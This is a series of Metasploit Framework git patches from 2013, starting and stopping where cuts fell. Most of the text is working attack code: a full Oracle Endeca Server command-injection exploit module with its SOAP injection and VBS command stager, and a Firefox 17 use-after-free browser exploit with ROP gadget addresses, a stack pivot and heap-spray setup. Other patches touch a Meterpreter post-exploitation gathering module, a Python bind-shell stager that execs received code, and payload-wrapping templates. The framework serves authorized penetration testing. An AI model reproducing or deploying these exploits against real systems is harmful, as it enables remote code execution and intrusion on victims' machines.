print_error("Error reading file (might be temporary): %s" % filename) else pname = Rex::Text.to_ascii(name.slice(0..idx)) From b72566b8aa542515388f4eccd4a4e9169c312405 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Aug 2013 12:47:47 -0500 Subject: [PATCH 300/454] Add module for ZDI-13-190 --- .../windows/http/oracle_endeca_exec.rb | 156 ++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 modules/exploits/windows/http/oracle_endeca_exec.rb diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb new file mode 100644 index 0000000000000..aa9d974a60c61 --- /dev/null +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -0,0 +1,156 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize + super( + 'Name' => 'Oracle Endeca Server Remote Command Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability on the Oracle Endeca + Server 7.4.0. The vulnerability exists on the createDataStore method from the + controlSoapBinding web service. The vulnerable method only exists on the 7.4.0 + branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection + has been found to be Windows specific. This module has been tested successfully + on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits). + }, + 'Author' => [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, # Using ARCH_X86 because it's compatible with CmdStagerVBS + 'References' => + [ + [ 'CVE', '2013-3763' ], + [ 'BID', '61217' ], + [ 'OSVDB', '95269' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ] + ], + 'Targets' => + [ + [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2', { } ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => 'Jul 16 2013' + ) + + register_options( + [ + Opt::RPORT(7770), + OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def version_soap + soap = <<-eos + + + + + + + eos + + return soap + end + + def create_data_store_soap(name, files) + soap = <<-eos + + + + + + #{name} + #{files} + + + + + eos + + return soap + end + + def check + + res = send_request_soap(version_soap) + + if res.nil? or res.code != 200 or res.body !~ /versionResponse/ + return Exploit::CheckCode::Safe + end + + version_match = res.body.match(/Oracle Endeca Server ([0-9\.]*) /) + + if version_match.nil? + return Exploit::CheckCode::Unknown + else + version = version_match[1] + end + + print_status("#{peer} - Version found: Oracle Endeca Server #{version}") + + if version =~ /7\.4\.0/ and version <= "7.4.0.787" + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + + end + + def send_request_soap(data) + res = send_request_cgi({ + 'uri' => target_uri.path, + 'method' => 'POST', + 'ctype' => 'text/xml; charset=utf-8', + 'headers' => + { + 'SOAPAction' => "\"\"" + }, + 'data' => data + }) + + return res + end + + def exploit + print_status("#{peer} - Exploiting by deploying a VBS CMD Stager...") + # Windows 2008 Command Prompt Max Length is 8191 + execute_cmdstager({ :delay => 0.35, :linemax => 7500 }) + end + + def execute_command(cmd, opts) + # To delete spaces priors to crlf lines since it is an observed behavior on Win 2008 + cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\") : data = Replace(data, vbCrLf, \"\")") + # HTML encode ampersands so SOAP is correctly interpreted + cmd.gsub!(/&/, "&") + injection = "c:\\"& #{cmd} &"" + exploit_data = create_data_store_soap(rand_text_alpha(4), injection) + begin + res = send_request_soap(exploit_data) + if res.nil? or res.code != 500 or res.body !~ /Error creating data files at/ + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Unable to connect") + end + end + +end From 514d2b472152371ba0638108776d9fa6321412ce Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Wed, 21 Aug 2013 21:46:44 +0300 Subject: [PATCH 301/454] Fix to make msftidy happy. --- modules/post/windows/gather/enum_prefetch.rb | 381 +++++++++---------- 1 file changed, 186 insertions(+), 195 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 8a3e593364325..12a61b63ea31f 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -4,208 +4,199 @@ # web site for more information on licensing and terms of use. # http://metasploit.com/ ## + require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. - File offset reads for run count, hash and filename are collected from each prefetch file - using WinAPI through Railgun while Last Modified and Create times are file MACE values.}, - 'License' => MSF_LICENSE, - 'Author' => ['TJ Glad '], - 'Platform' => ['win'], - 'SessionType' => ['meterpreter'] - )) - end - - - def prefetch_key_value() - # Checks if Prefetch registry key exists and what value it has. - prefetch_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = prefetch_key.query_value("EnablePrefetcher").data - - if key_value == 0 - print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") - elsif key_value == 1 - print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") - elsif key_value == 2 - print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).") - elsif key_value == 3 - print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).") - else - print_error("No value or unknown value. Results might vary.") - end - prefetch_key.close - end - - def timezone_key_values(key_value) - # Looks for timezone from registry - timezone_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - if timezone_key.nil? - print_line("Couldn't find key/value for timezone from registry.") - else - timezone = timezone_key.query_value(key_value).data - tzbias = timezone_key.query_value("Bias").data - if timezone.nil? or tzbias.nil? - print_error("Couldn't find timezone information from registry.") - else - print_good("Remote: Timezone is %s." % timezone) - if tzbias < 0xfff - bias = tzbias - print_good("Remote: Localtime bias to UTC: -%s minutes." % bias) - else - offset = 0xffffffff - bias = offset - tzbias - print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) - end - end - end - timezone_key.close - end - - - def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) - - # This function seeks and gathers information from specific offsets. - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", nil) - - if h['GetLastError'] != 0 - print_error("Error opening a file handle on %s." % filename) - else - handle = h['return'] - - # Finds the filename from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - fname = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - name = fname['lpBuffer'] - idx = name.index("\x00\x00") - - # Finds the run count from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) - count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - - # Finds the file path hash from the prefetch file. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) - hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - - # Finds the LastModified/Created timestamp (MACE) - mtimes = client.priv.fs.get_file_mace(filename) - - # Checking and moving the values - if idx.nil? or count.nil? or hash.nil? or mtimes.nil? - print_error("Error reading file (might be temporary): %s" % filename) - else - pname = Rex::Text.to_ascii(name.slice(0..idx)) - prun = count['lpBuffer'].unpack('L*')[0] - phash = hash['lpBuffer'].unpack('h*')[0].reverse - lmod = mtimes['Modified'].utc - creat = mtimes['Created'].utc - table << [lmod, creat,prun,phash,pname] - end - client.railgun.kernel32.CloseHandle(handle) - end - end - - - def run - - print_status("Prefetch Gathering started.") - - # Check to see what Windows Version is running. - # Needed for offsets. - # Tested on WinXP, Win2k3 and Win7 systems. - # http://www.forensicswiki.org/wiki/Prefetch - # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Prefetch File Information', + 'Description' => %q{ + This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. + File offset reads for run count, hash and filename are collected from each prefetch file + using WinAPI through Railgun while Last Modified and Create times are file MACE values. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'])) + end + + def prefetch_key_value() + # Checks if Prefetch registry key exists and what value it has. + prefetch_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + key_value = prefetch_key.query_value("EnablePrefetcher").data + + if key_value == 0 + print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") + elsif key_value == 1 + print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") + elsif key_value == 2 + print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).") + elsif key_value == 3 + print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).") + else + print_error("No value or unknown value. Results might vary.") + end + prefetch_key.close + end + + def timezone_key_values(key_value) + # Looks for timezone from registry + timezone_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + if timezone_key.nil? + print_line("Couldn't find key/value for timezone from registry.") + else + timezone = timezone_key.query_value(key_value).data + tzbias = timezone_key.query_value("Bias").data + if timezone.nil? or tzbias.nil? + print_error("Couldn't find timezone information from registry.") + else + print_good("Remote: Timezone is %s." % timezone) + if tzbias < 0xfff + bias = tzbias + print_good("Remote: Localtime bias to UTC: -%s minutes." % bias) + else + offset = 0xffffffff + bias = offset - tzbias + print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) + end + end + end + timezone_key.close + end + + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) + # This function seeks and gathers information from specific offsets. + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", nil) + + if h['GetLastError'] != 0 + print_error("Error opening a file handle on %s." % filename) + else + handle = h['return'] + + # Finds the filename from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + fname = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + name = fname['lpBuffer'] + idx = name.index("\x00\x00") + + # Finds the run count from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) + count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + + # Finds the file path hash from the prefetch file. + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) + hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + + # Finds the LastModified/Created timestamp (MACE) + mtimes = client.priv.fs.get_file_mace(filename) + + # Checking and moving the values + if idx.nil? or count.nil? or hash.nil? or mtimes.nil? + print_error("Error reading file (might be temporary): %s" % filename) + else + pname = Rex::Text.to_ascii(name.slice(0..idx)) + prun = count['lpBuffer'].unpack('L*')[0] + phash = hash['lpBuffer'].unpack('h*')[0].reverse + lmod = mtimes['Modified'].utc + creat = mtimes['Created'].utc + table << [lmod, creat,prun,phash,pname] + end + client.railgun.kernel32.CloseHandle(handle) + end + end + + def run + print_status("Prefetch Gathering started.") + # Check to see what Windows Version is running. + # Needed for offsets. + # Tested on WinXP, Win2k3 and Win7 systems. + # http://www.forensicswiki.org/wiki/Prefetch + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format sysnfo = client.sys.config.sysinfo['OS'] error_msg = "You don't have enough privileges. Try getsystem." - if sysnfo =~/(Windows XP|2003|.NET)/ - if not is_system? - print_error(error_msg) - return nil - end - # Offsets for WinXP & Win2k3 - print_good("Detected #{sysnfo} (max 128 entries)") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x78 - runcount_offset = 0x90 - # Registry key for timezone - key_value = "StandardName" - - elsif sysnfo =~/(Windows 7)/ - if not is_admin? - print_error(error_msg) - return nil - end - # Offsets for Win7 - print_good("Detected #{sysnfo} (max 128 entries)") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x80 - runcount_offset = 0x98 - # Registry key for timezone - key_value = "TimeZoneKeyName" - - else - print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.") - return nil - end - - table = Rex::Ui::Text::Table.new( - 'Header' => "Prefetch Information", - 'Indent' => 1, - 'Columns' => - [ - "Modified (mace)", - "Created (mace)", - "Run Count", - "Hash", - "Filename" - ]) - - prefetch_key_value - - timezone_key_values(key_value) - - print_good("Current UTC Time: %s" % Time.now.utc) - - sysroot = client.fs.file.expand_path("%SYSTEMROOT%") - full_path = sysroot + "\\Prefetch\\" - file_type = "*.pf" - print_status("Gathering information from remote system. This will take awhile..") - - # Goes through the files in Prefetch directory, creates file paths for the - # gather_prefetch_info function that enumerates all the pf info - - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,timeout=-1) - if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? - print_error("Could not find/access any .pf files. Can't continue.") - return nil - else - getfile_prefetch_filenames.each do |file| - if file.empty? or file.nil? - print_error("Could not open file: %s" % filename) - else - filename = File.join(file['path'], file['name']) - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) - end - end - end - - # Stores and prints out results - results = table.to_s - loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information") - print_line("\n" + results + "\n") - print_status("Finished gathering information from prefetch files.") - print_status("Results stored in: #{loot}") - - end + if sysnfo =~/(Windows XP|2003|.NET)/ + if not is_system? + print_error(error_msg) + return nil + end + # Offsets for WinXP & Win2k3 + print_good("Detected #{sysnfo} (max 128 entries)") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 + # Registry key for timezone + key_value = "StandardName" + + elsif sysnfo =~/(Windows 7)/ + if not is_admin? + print_error(error_msg) + return nil + end + # Offsets for Win7 + print_good("Detected #{sysnfo} (max 128 entries)") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x80 + runcount_offset = 0x98 + # Registry key for timezone + key_value = "TimeZoneKeyName" + + else + print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.") + return nil + end + + table = Rex::Ui::Text::Table.new( + 'Header' => "Prefetch Information", + 'Indent' => 1, + 'Columns' => + [ + "Modified (mace)", + "Created (mace)", + "Run Count", + "Hash", + "Filename" + ]) + prefetch_key_value + timezone_key_values(key_value) + print_good("Current UTC Time: %s" % Time.now.utc) + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") + full_path = sysroot + "\\Prefetch\\" + file_type = "*.pf" + print_status("Gathering information from remote system. This will take awhile..") + + # Goes through the files in Prefetch directory, creates file paths for the + # gather_prefetch_info function that enumerates all the pf info + + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,timeout=-1) + if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? + print_error("Could not find/access any .pf files. Can't continue.") + return nil + else + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + print_error("Could not open file: %s" % filename) + else + filename = File.join(file['path'], file['name']) + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) + end + end + end + + # Stores and prints out results + results = table.to_s + loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information") + print_line("\n" + results + "\n") + print_status("Finished gathering information from prefetch files.") + print_status("Results stored in: #{loot}") + end end From ffac6478cce96d383c8f624d528b041fa884225d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Aug 2013 14:59:30 -0400 Subject: [PATCH 302/454] Un typo a client and server socket mixup. --- modules/payloads/stagers/python/bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index e5353ce3019e9..f3ec48e0fdaeb 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -39,7 +39,7 @@ def generate cmd += "s.listen(1)\n" cmd += "c,a=s.accept()\n" cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" + cmd += "d=c.recv(4096)\n" cmd += "while len(d)!=l:\n" cmd += "\td+=c.recv(4096)\n" cmd += "exec(d,{'s':c})\n" From 965e2d88fe795d49ed9bb0ffbae9f4970e85626d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Aug 2013 16:49:24 -0500 Subject: [PATCH 303/454] Use normalize_uri --- modules/exploits/windows/http/oracle_endeca_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index aa9d974a60c61..19ba6c2a8346a 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -117,7 +117,7 @@ def check def send_request_soap(data) res = send_request_cgi({ - 'uri' => target_uri.path, + 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => From c0700673e7d225053ee3ce775adf85b93c2f10c8 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Wed, 21 Aug 2013 17:28:53 -0500 Subject: [PATCH 304/454] Fix SessionManager database leak All database access should be wrapped in with_connection blocks. Much of this commit is whitespace. It may help to view it with --ignore-all-space or the w=0 parameter on GitHub. [Story #55586616] --- lib/msf/core/session_manager.rb | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 3b75ce8c3763c..9325bd6868731 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -107,13 +107,17 @@ def initialize(framework) # processing time for large session lists from skewing our update interval. last_seen_timer = Time.now.utc - values.each do |s| - # Update the database entry on a regular basis, marking alive threads - # as recently seen. This notifies other framework instances that this - # session is being maintained. - if framework.db.active and s.db_record - s.db_record.last_seen = Time.now.utc - s.db_record.save + if framework.db.active + ::ActiveRecord::Base.connection_pool.with_connection do + values.each do |s| + # Update the database entry on a regular basis, marking alive threads + # as recently seen. This notifies other framework instances that this + # session is being maintained. + if s.db_record + s.db_record.last_seen = Time.now.utc + s.db_record.save + end + end end end end From a6e5e9c61d29da0c36e66f4dadeec108ba54c1fb Mon Sep 17 00:00:00 2001 From: shellster Date: Wed, 21 Aug 2013 16:43:10 -0700 Subject: [PATCH 305/454] Updated using limhof-r7 advice --- lib/msf/util/exe.rb | 84 ++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 32 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index d807695c46dda..6da68eaca55a6 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -839,9 +839,11 @@ def self.to_exe_vba(exes='') hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s # The wrapper makes it easier to integrate it into other macros - templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_vba.vb.template") , "rb") - template = templateFile.read - templateFile.close + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_vba.vb.template") + + template_pathname.open("rb") do |f| + template = f.read + end hash_sub[:data] = "" @@ -890,10 +892,12 @@ def self.to_vba(framework,code,opts={}) hash_sub[:bytes] << "," if idx < codebytes.length - 1 hash_sub[:bytes] << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end - - templateFile = File.open(File.join("data", "templates", "scripts", "to_vba.vb.template") , "rb") - template = templateFile.read - templateFile.close + + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_vba.vb.template") + + template_pathname.open("rb") do |f| + template = f.read + end return template % hash_sub end @@ -934,15 +938,21 @@ def self.to_exe_vbs(exes = '', opts={}) hash_sub[:var_shellcode] = lines.join("") hash_sub[:init] = "" - - hash_sub[:init] << "Do\r\n" if persist - hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" - hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" if persist - hash_sub[:init] << "Loop\r\n" if persist - templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_vbs.vb.template") , "rb") - template = templateFile.read - templateFile.close + if(persist) + hash_sub[:init] << "Do\r\n" + hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" + hash_sub[:init] << "Loop\r\n" + else + hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + end + + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_vbs.vb.template") + + template_pathname.open("rb") do |f| + template = f.read + end return template % hash_sub end @@ -974,10 +984,12 @@ def self.to_exe_asp(exes = '', opts={}) hash_sub[:var_shellcode] = lines.join("") - templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_asp.asp.template") , "rb") - template = templateFile.read - templateFile.close - + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_asp.asp.template") + + template_pathname.open("rb") do |f| + template = f.read + end + return template % hash_sub end @@ -1002,10 +1014,11 @@ def self.to_exe_aspx(exes = '', opts={}) hash_sub[:shellcode] << "\\x#{exe[byte].to_s(16)}" end + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_aspx.aspx.template") - templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_aspx.aspx.template") , "rb") - template = templateFile.read - templateFile.close + template_pathname.open("rb") do |f| + template = f.read + end return template % hash_sub end @@ -1033,9 +1046,11 @@ def self.to_win32pe_psh_net(framework, code, opts={}) end hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - templateFile = File.open(File.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") , "rb") - template = templateFile.read - templateFile.close + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") + + template_pathname.open("rb") do |f| + template = f.read + end return template % hash_sub end @@ -1063,10 +1078,12 @@ def self.to_win32pe_psh(framework, code, opts={}) end hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - - templateFile = File.open(File.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") , "rb") - template = templateFile.read - templateFile.close + + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") + + template_pathname.open("rb") do |f| + template = f.read + end return template % hash_sub end @@ -1209,9 +1226,12 @@ def self.to_jsp_war(exe, opts={}) ] }) - templateFile = File.open(File.join("data", "templates", "scripts", "to_jsp_war.war.template") , "rb") - template = templateFile.read - templateFile.close + + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_jsp_war.war.template") + + template_pathname.open("rb") do |f| + template = f.read + end return self.to_war(template % hash_sub, opts) end From cd45c770807356682bc87df685f8464ba639b7fe Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Wed, 21 Aug 2013 18:53:17 -0500 Subject: [PATCH 306/454] Fix a few database leaks All database access should be wrapped in with_connection blocks. To avoid breaking git blame with a bunch of whitespace, I outdented the with_connection blocks as seems to be common in db.rb. [Story #55586616] --- lib/msf/core/db.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index cbfa7fd56365a..b20a42402b0db 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -1512,6 +1512,7 @@ def report_auth_info(opts={}) raise ArgumentError.new("Invalid address or object for :host (#{opts[:host].inspect})") end + ::ActiveRecord::Base.connection_pool.with_connection { host = opts.delete(:host) ptype = opts.delete(:type) || "password" token = [opts.delete(:user), opts.delete(:pass)] @@ -1623,6 +1624,7 @@ def report_auth_info(opts={}) end ret[:cred] = cred + } end alias :report_cred :report_auth_info @@ -1922,8 +1924,10 @@ def report_vuln_details(vuln, details) # Note that this *can* update data across workspaces # def update_vuln_details(details) + ::ActiveRecord::Base.connection_pool.with_connection { criteria = details.delete(:key) || {} ::Mdm::VulnDetail.update(key, details) + } end # From ff6ad30be0b3ff392de049f09e954dcb13524bb7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Aug 2013 18:15:35 -0500 Subject: [PATCH 307/454] Add module for ZDI-13-006 --- .../browser/mozilla_firefox_xmlserializer.rb | 203 ++++++++++++++++++ 1 file changed, 203 insertions(+) create mode 100644 modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb new file mode 100644 index 0000000000000..04aa7f5c879e4 --- /dev/null +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -0,0 +1,203 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox XMLSerializer Use After Free', + 'Description' => %q{ + This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically + an use after free of an Element object, when using the serializeToStream method + with a specially crafted OutputStream defining its own write function. This module + has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP + SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'regenrecht', # Vulnerability Discovery, Analysis and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0753' ], + [ 'OSVDB', '89021'], + [ 'BID', '57209'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ], + [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], + [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Payload' => + { + 'BadChars' => "\x00", + 'DisableNops' => true, + 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Firefox 17 / Windows XP SP3', + { + 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory + 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory + 'RetGadget' => 0x77c3ee16, # ret from msvcrt + 'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt + 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt + } + ] + ], + 'DisclosureDate' => 'Jan 08 2013', + 'DefaultTarget' => 0)) + + end + + def stack_pivot + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_status("Agent: #{agent}") + + if agent !~ /Windows NT 5\.1/ + print_error("Windows XP not found, sending 404: #{agent}") + send_not_found(cli) + return + end + + unless agent =~ /Firefox\/17/ + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + # Fake object landed on 0x0c101008 if heap spray is working as expected + code = [ + target['FakeVFTable'], + target['RetGadget'], + target['RetGadget'], + target['RetGadget'], + target['RetGadget'], + target['PopRetGadget'], + 0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis + ].pack("V*") + code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer) + code << [target['PopRetGadget']].pack("V") # pop # ret + code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret + code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) + + js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) + js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) + js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch)) + + content = <<-HTML + + + + + + HTML + + print_status("URI #{request.uri} requested...") + print_status("Sending HTML") + send_response(cli, content, 